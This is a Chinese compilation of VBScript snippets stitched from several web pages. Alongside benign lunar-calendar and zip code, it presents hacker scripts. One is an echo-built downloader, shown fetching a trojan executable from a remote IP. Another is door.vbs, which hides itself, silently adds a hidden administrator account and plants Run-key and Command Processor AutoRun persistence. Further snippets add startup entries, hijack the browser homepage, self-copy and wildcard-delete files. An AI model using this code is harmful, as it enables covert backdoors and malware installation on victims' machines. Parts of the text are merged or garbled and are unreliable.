1.文件下载(无回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe用法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echops.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs用法:cscript ps.vbs3.终止进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs用法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs @echo os.win32shutdown(2):next >>reboot.vbs用法:cscript reboot.vbsVBS脚本在系统安全中的八则巧妙应用VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识，现在大家对它也开始重视起来。

黑客必须要知道的几个vbs文件代码

⿊客必须要知道的⼏个vbs⽂件代码1. door.vbs'***************'door.vbs by ⿊嘿⿊'***************dim wsh,FA,FSOset fso=CreateObject("Scripting.FileSystemObject")Set FA= FSO.GetFile(WScript.scriptFullName)FA.Attributes =34set wsh=CreateObject("WScript.Shell")wsh.run "net user IUSE_SERVER /add",0,truewsh.run "net localgroup administrators IUSE_SERVER /add" ,0,truewsh.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""wsh.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD" wsh.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""wsh.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""功能：添加不死帐号（随cmd启动⽽启动），在win下彻底隐藏。

vbs好玩的代码

vbs好玩的代码VBS（VisualBasicScripting）是一种脚本语言，常用于Windows 操作系统上的系统管理、自动化任务和网页制作等方面。

以下是一些好玩的VBS代码：1. 在屏幕上写字可以使用以下代码在屏幕上写字：```MsgBox 'Hello World!'```2. 使电脑说话可以使用以下代码让电脑说话：```Dim speechSet speech=CreateObject('sapi.spvoice')speech.Speak 'Hello World'```3. 改变鼠标光标的位置可以使用以下代码改变鼠标光标的位置：```Set WshShell = WScript.CreateObject('WScript.Shell')WshShell.Run 'cmd.exe'WScript.Sleep 1000WshShell.SendKeys 'mode con: cols=18 lines=1{ENTER}' WshShell.SendKeys 'echo 0 50{ENTER}'WshShell.SendKeys 'exit{ENTER}'WScript.Sleep 1000WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'WshShell.SendKeys '{UP}'```4. 打开CD/DVD驱动器可以使用以下代码打开CD/DVD驱动器：```Set oWMP = CreateObject('WMPlayer.OCX.7') Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count >= 1 thenFor i = 0 to colCDROMs.Count -1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count -1colCDROMs.Item(i).EjectNextEnd IfWScript.Sleep 15000loop```5. 自动输入用户名和密码可以使用以下代码自动输入用户名和密码：```Set WshShell = WScript.CreateObject('WScript.Shell')WshShell.Run 'notepad.exe'WScript.Sleep 1000WshShell.SendKeys 'Userna MyUsername{ENTER}'WshShell.SendKeys 'Password: MyPassword{ENTER}'WScript.Sleep 1000WshShell.SendKeys '%{F4}'```这些代码只是VBS的冰山一角，VBS还能做很多其他有趣的事情，希望你会喜欢上它！。

VBS脚本常用经典代码收集

VBS脚本常用经典代码收集在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。

VBS脚本用途很多：1. 计算2. 处理文件和文件夹3. 管理Windows4. 处理Word, Excel, PowerPoint等Office文档5. 嵌入网页，驱动dHTML6. 编写HTTP通信7. 调用系统功能（COM组件），比如说语音说话8. 分析HTML, XML9. 调用命令行并分析返回结果10. 处理图片11. 自动化按键12. 调用Windows Media Player并管理13. 调用Windows Live Messenger并管理14. 服务端技术：Active Server Page (ASP)15. 脚本病毒16. 处理数据库下面是我收集的VBS代码，大部分转自，以后还会更新。

VBS获取系统安装路径先定义这个变量是获取系统安装路径的，然后我们用”&strWinDir&”调用这个变量。

set WshShell =WScript.CreateObject("WScript.Shell")strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")VBS获取C:\Program Files路径msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("% ProgramFiles%")VBS获取C:\Program Files\Common Files路径msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("% CommonProgramFiles%")给桌面添加网址快捷方式set gangzi =WScript.CreateObject("WScript.Shell")strDesktop = gangzi.SpecialFolders("Desktop")set oShellLink =gangzi.CreateShortcut(strDesktop & "\InternetExplorer.lnk")oShellLink.TargetPath =""oShellLink.Description = "Internet Explorer"oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"oShellLink.Save给收藏夹添加网址Const ADMINISTRATIVE_TOOLS = 6Set objShell = CreateObject("Shell.Application")Set objFolder = space(ADMINISTRATIVE_TOOLS)Set objFolderItem = objFolder.Self Set objShell = WScript.CreateObject("WScript.Shell")strDesktopFld = objFolderItem.PathSet objURLShortcut =objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url")objURLShortcut.TargetPath ="/"objURLShortcut.Save删除指定目录指定后缀文件On Error Resume NextSet fso =CreateObject("Scripting.FileSystemObject")fso.DeleteFile "C:\*.vbs", TrueSet fso = NothingVBS改主页Set oShell = CreateObject("WScript.Shell")oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",""VBS加启动项Set oShell=CreateObject("Wscript.Shell")oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\c md","cmd.exe"VBS复制自己setcopy1=createobject("scripting.filesystemobject")copy1.getfil e(wscript.scriptfullname).copy("c:\huan.vbs")复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe 文件到c盘的gangzi.exe)setcopy1=createobject("scripting.filesystemobject")copy1.getfil e("game.exe").copy("c:\gangzi.exe")VBS获取系统临时目录Dim fsoSet fso =CreateObject("Scripting.FileSystemObject")Dim tempfolderConst TemporaryFolder = 2Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)Wscript.Echo tempfolder就算代码出错依然继续执行On Error Resume NextVBS打开网址Set objShell =CreateObject("Wscript.Shell")objShell.Run("http://www.fendo /")VBS发送邮件NameSpace ="/cdo/configuration/"Set Email = CreateObject("CDO.Message")Email.From = "发件@"Email.To = "收件@"Email.Subject = "Test sendmail.vbs"Email.Textbody = "OK!"Email.AddAttachment "C:\1.txt"WithEmail.Configuration.Fields.Item(NameSpace&"sendusing") = 2.Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com".Item(NameSpace&"smtpserverport") =25.Item(NameSpace&"smtpauthenticate") =1.Item(NameSpace&"sendusername") = "发件人用户名".Item(NameSpace&"sendpassword") = "发件人密码".UpdateEnd WithEmail.SendVBS结束进程strComputer = "."Set objWMIService = GetObject _ ("winmgmts:\\" & strComputer & "\root\cimv2")Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'Rar.exe'")For Each objProcess in colProcessList objProcess.Terminate()NextVBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)createObject("wscript.shell").run "iexplore/",0兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。

最新最全的VBS脚本应用超级范例大全

可以显示农历的VBS代码:<script language=vbscript>Function nl()'获取当前系统时间curTime = Now()Dim WeekName(7), MonthAdd(11), NongliData(99), TianGan(9), DiZhi(11), ShuXiang(11), DayName(30), MonName(12)'星期名WeekName(0) = " * "WeekName(1) = "星期日"WeekName(2) = "星期一"WeekName(3) = "星期二"WeekName(4) = "星期三"WeekName(5) = "星期四"WeekName(6) = "星期五"WeekName(7) = "星期六"'天干名称TianGan(0) = "甲"TianGan(1) = "乙"TianGan(2) = "丙"TianGan(3) = "丁"TianGan(4) = "戊"TianGan(5) = "己"TianGan(6) = "庚"TianGan(7) = "辛"TianGan(8) = "壬"TianGan(9) = "癸"'地支名称DiZhi(0) = "子"DiZhi(1) = "丑"DiZhi(2) = "寅"DiZhi(3) = "卯"DiZhi(4) = "辰"DiZhi(5) = "巳"DiZhi(6) = "午"DiZhi(7) = "未"DiZhi(8) = "申"DiZhi(9) = "酉"DiZhi(10) = "戌"DiZhi(11) = "亥"'属相名称ShuXiang(0) = "鼠"ShuXiang(1) = "牛" ShuXiang(2) = "虎" ShuXiang(3) = "兔" ShuXiang(4) = "龙" ShuXiang(5) = "蛇" ShuXiang(6) = "马" ShuXiang(7) = "羊" ShuXiang(8) = "猴" ShuXiang(9) = "鸡" ShuXiang(10) = "狗" ShuXiang(11) = "猪" '农历日期名DayName(0) = "*" DayName(1) = "初一" DayName(2) = "初二" DayName(3) = "初三" DayName(4) = "初四" DayName(5) = "初五" DayName(6) = "初六" DayName(7) = "初七" DayName(8) = "初八" DayName(9) = "初九" DayName(10) = "初十" DayName(11) = "十一" DayName(12) = "十二" DayName(13) = "十三" DayName(14) = "十四" DayName(15) = "十五" DayName(16) = "十六" DayName(17) = "十七" DayName(18) = "十八" DayName(19) = "十九" DayName(20) = "二十" DayName(21) = "廿一" DayName(22) = "廿二" DayName(23) = "廿三" DayName(24) = "廿四" DayName(25) = "廿五" DayName(26) = "廿六" DayName(27) = "廿七" DayName(28) = "廿八" DayName(29) = "廿九" DayName(30) = "三十" '农历月份名MonName(0) = "*" MonName(1) = "正" MonName(2) = "二" MonName(3) = "三" MonName(4) = "四" MonName(5) = "五" MonName(6) = "六" MonName(7) = "七" MonName(8) = "八" MonName(9) = "九" MonName(10) = "十" MonName(11) = "十一" MonName(12) = "腊"'公历每月前面的天数MonthAdd(0) = 0 MonthAdd(1) = 31 MonthAdd(2) = 59 MonthAdd(3) = 90 MonthAdd(4) = 120 MonthAdd(5) = 151 MonthAdd(6) = 181 MonthAdd(7) = 212 MonthAdd(8) = 243 MonthAdd(9) = 273 MonthAdd(10) = 304 MonthAdd(11) = 334'农历数据NongliData(0) = 2635 NongliData(1) = 333387 NongliData(2) = 1701 NongliData(3) = 1748 NongliData(4) = 267701 NongliData(5) = 694 NongliData(6) = 2391 NongliData(7) = 133423 NongliData(8) = 1175 NongliData(9) = 396438 NongliData(10) = 3402 NongliData(11) = 3749 NongliData(12) = 331177 NongliData(13) = 1453 NongliData(14) = 694 NongliData(15) = 201326 NongliData(16) = 2350NongliData(18) = 3221 NongliData(19) = 3402 NongliData(20) = 400202 NongliData(21) = 2901 NongliData(22) = 1386 NongliData(23) = 267611 NongliData(24) = 605 NongliData(25) = 2349 NongliData(26) = 137515 NongliData(27) = 2709 NongliData(28) = 464533 NongliData(29) = 1738 NongliData(30) = 2901 NongliData(31) = 330421 NongliData(32) = 1242 NongliData(33) = 2651 NongliData(34) = 199255 NongliData(35) = 1323 NongliData(36) = 529706 NongliData(37) = 3733 NongliData(38) = 1706 NongliData(39) = 398762 NongliData(40) = 2741 NongliData(41) = 1206 NongliData(42) = 267438 NongliData(43) = 2647 NongliData(44) = 1318 NongliData(45) = 204070 NongliData(46) = 3477 NongliData(47) = 461653 NongliData(48) = 1386 NongliData(49) = 2413 NongliData(50) = 330077 NongliData(51) = 1197 NongliData(52) = 2637 NongliData(53) = 268877 NongliData(54) = 3365 NongliData(55) = 531109 NongliData(56) = 2900 NongliData(57) = 2922 NongliData(58) = 398042 NongliData(59) = 2395 NongliData(60) = 1179NongliData(62) = 2635NongliData(63) = 661067NongliData(64) = 1701NongliData(65) = 1748NongliData(66) = 398772NongliData(67) = 2742NongliData(68) = 2391NongliData(69) = 330031NongliData(70) = 1175NongliData(71) = 1611NongliData(72) = 200010NongliData(73) = 3749NongliData(74) = 527717NongliData(75) = 1452NongliData(76) = 2742NongliData(77) = 332397NongliData(78) = 2350NongliData(79) = 3222NongliData(80) = 268949NongliData(81) = 3402NongliData(82) = 3493NongliData(83) = 133973NongliData(84) = 1386NongliData(85) = 464219NongliData(86) = 605NongliData(87) = 2349NongliData(88) = 334123NongliData(89) = 2709NongliData(90) = 2890NongliData(91) = 267946NongliData(92) = 2773NongliData(93) = 592565NongliData(94) = 1210NongliData(95) = 2651NongliData(96) = 395863NongliData(97) = 1323NongliData(98) = 2707NongliData(99) = 265877'生成当前公历年、月、日 ==> GongliStr curYear = Year(curTime)curMonth = Month(curTime)curDay = Day(curTime)GongliStr = curYear & "年"If (curMonth < 10) ThenGongliStr = GongliStr & "0" & curMonth & "月"ElseGongliStr = GongliStr & curMonth & "月"End IfIf (curDay < 10) ThenGongliStr = GongliStr & "0" & curDay & "日"ElseGongliStr = GongliStr & curDay & "日"End If'生成当前公历星期 ==> WeekdayStrcurWeekday = Weekday(curTime)WeekdayStr = WeekName(curWeekday)'计算到初始时间1921年2月8日的天数：1921-2-8(正月初一)TheDate = (curYear - 1921) * 365 + Int((curYear - 1921) / 4) + curDay + MonthAdd(curMonth - 1) - 38If ((curYear Mod 4) = 0 And curMonth > 2) ThenTheDate = TheDate + 1End If'计算农历天干、地支、月、日isEnd = 0m = 0DoIf (NongliData(m) < 4095) Thenk = 11Elsek = 12End Ifn = kDoIf (n < 0) ThenExit DoEnd If'获取NongliData(m)的第n个二进制位的值bit = NongliData(m)For i = 1 To n Step 1bit = Int(bit / 2)Nextbit = bit Mod 2If (TheDate <= 29 + bit) ThenisEnd = 1Exit DoEnd IfTheDate = TheDate - 29 - bitn = n - 1LoopIf (isEnd = 1) ThenExit DoEnd Ifm = m + 1LoopcurYear = 1921 + mcurMonth = k - n + 1curDay = TheDateIf (k = 12) ThenIf (curMonth = (Int(NongliData(m) / 65536) + 1)) ThencurMonth = 1 - curMonthElseIf (curMonth > (Int(NongliData(m) / 65536) + 1)) ThencurMonth = curMonth - 1End IfEnd If'生成农历天干、地支、属相 ==> NongliStrNongliStr = "农历" & TianGan(((curYear - 4) Mod 60) Mod 10) &DiZhi(((curYear - 4) Mod 60) Mod 12) & "年"NongliStr = NongliStr & "(" & ShuXiang(((curYear - 4) Mod 60) Mod 12) & ")"'生成农历月、日 ==> NongliDayStrIf (curMonth < 1) ThenNongliDayStr = "闰" & MonName(-1 * curMonth)ElseNongliDayStr = MonName(curMonth)End IfNongliDayStr = NongliDayStr & "月"NongliDayStr = NongliDayStr & DayName(curDay)nl = NongliStr & NongliDayStrEnd Functionmsgbox nl</script>vbs实现显示系统调色板的代码:set ie = createobject("internetexplorer.application")ie.navigate "about:blank"do until ie.readystate = 4 : wscript.sleep 25 : loopset doc = ie.documentset body = doc.bodyset win = doc.parentwindowbody.innerhtml = "<OBJECT id=dlgCLASSID='clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b'></OBJECT>"body.innertext = doc.getElementById("dlg").choosecolordlg win.clipboarddata.setdata "text", body.innertextie.quit用vbs实现zip功能的脚本:压缩：Function fZip(sSourceFolder,sTargetZIPFile)'This function will add all of the files in a source folder to a ZIP file 'using Windows' native folder ZIP capability.Dim oShellApp, oFSO, iErr, sErrSource, sErrDescriptionSet oShellApp = CreateObject("Shell.Application")Set oFSO = CreateObject("Scripting.FileSystemObject")'The source folder needs to have a \ on the EndIf Right(sSourceFolder,1) <> "\" Then sSourceFolder = sSourceFolder & "\" On Error Resume Next'If a target ZIP exists already, delete itIf oFSO.FileExists(sTargetZIPFile) Then oFSO.DeleteFile sTargetZIPFile,TrueiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Write the fileheader for a blank zipfile.oFSO.OpenTextFile(sTargetZIPFile, 2, True).Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))iErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Start copying files into the zip from the source folder. Space(sTargetZIPFile).CopyHereSpace(sSourceFolder).ItemsiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd If'Because the copying occurs in a separate process, the script will just continue. Run a DO...LOOP to prevent the function'from exiting until the file is finished zipping.Do Until Space(sTargetZIPFile).Items.Count = Space(sSourceFolder).Items.CountWScript.Sleep 1500'如果不成功，增加一下秒数LoopfZip = Array(0,"","")End FunctionCall fZip ("C:\vbs","c:\vbs.zip")解压缩：Function fUnzip(sZipFile,sTargetFolder)'Create the Shell.Application objectDim oShellApp:Set oShellApp = CreateObject("Shell.Application")'Create the File System objectDim oFSO:Set oFSO = CreateObject("Scripting.FileSystemObject")'Create the target folder if it isn't already thereIf Not oFSO.FolderExists(sTargetFolder) Then oFSO.CreateFolder sTargetFolder'Extract the files from the zip into the folderSpace(sTargetFolder).CopyHereSpace(sZipFile).Items'This is a seperate process, so the script would continue even if the unzipping is not done'To prevent this, we run a DO...LOOP once a second checking to see if the number of files'in the target folder equals the number of files in the zipfile. If so, we continue.DoWScript.Sleep 1000‘有时需要更改Loop While oFSO.GetFolder(sTargetFolder).Files.Count <Space(sZipFile).Items.CountEnd Function非常棒的lcx写的非常规运行vbs :vbs有一个对像是“SAPI.SpVoice”，可以用它来讲英语的这个组件在xp、2003上默认都可以用的，调用后可以听到电脑上一个国外老男人在说话。